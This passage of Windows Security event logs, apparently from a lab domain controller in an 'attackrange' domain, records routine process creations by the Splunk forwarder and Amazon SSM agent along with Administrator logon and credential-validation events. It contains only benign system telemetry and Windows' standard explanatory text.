Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253744
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xedc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253743
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf0c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253752
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1a0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Amazon\PVDriver'" "| Select-Object" "Name, Version" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253750
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf98
	New Process Name:	C:\Windows\System32\wbem\WMIC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	wmic OS get OperatingSystemSKU /format:list

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253756
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-CimInstance Win32_PnPSignedDriver | Where-Object { $_.DeviceID -eq 'XENBUS\VEN_XS0001&DEV_VBD&REV_00000001\_' -or $_.DeviceClass -eq 'Net' -and ( $_.Manufacturer -like 'Intel*' -or $_.Manufacturer -eq 'Citrix Systems, Inc.' -or $_.Manufacturer -eq 'Amazon Inc.' -or $_.Manufacturer -eq 'Amazon Web Services, Inc.' )}" "| Select-Object" "Description, DriverVersion" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253755
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253754
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf98
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-CimInstance Win32_PnPEntity | Where-Object { $_.Service -eq 'xenvbd' }" "| Select-Object" DeviceID "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253753
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec8
	New Process Name:	C:\Windows\System32\wbem\WMIC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	wmic OS get OperatingSystemSKU /format:list

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253758
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdf0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf00
	Creator Process Name:	C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
	Process Command Line:	powershell "Get-WinEvent -FilterHashtable @( @{ LogName='System'; ProviderName='Microsoft-Windows-Kernel-General'; Id=12; Level=4 }, @{ LogName='System'; ProviderName='Microsoft-Windows-WER-SystemErrorReporting'; Id=1001; Level=2 } ) | Sort-Object TimeCreated -Descending" "| Select-Object" "Id, Level, ProviderName, TimeCreated, Properties" "| ConvertTo-Json -Depth 3"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253757
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253760
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253759
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253761
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253766
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253765
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x541A8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253764
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x541A8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253763
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:51:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=253762
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:51:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253767
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253768
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
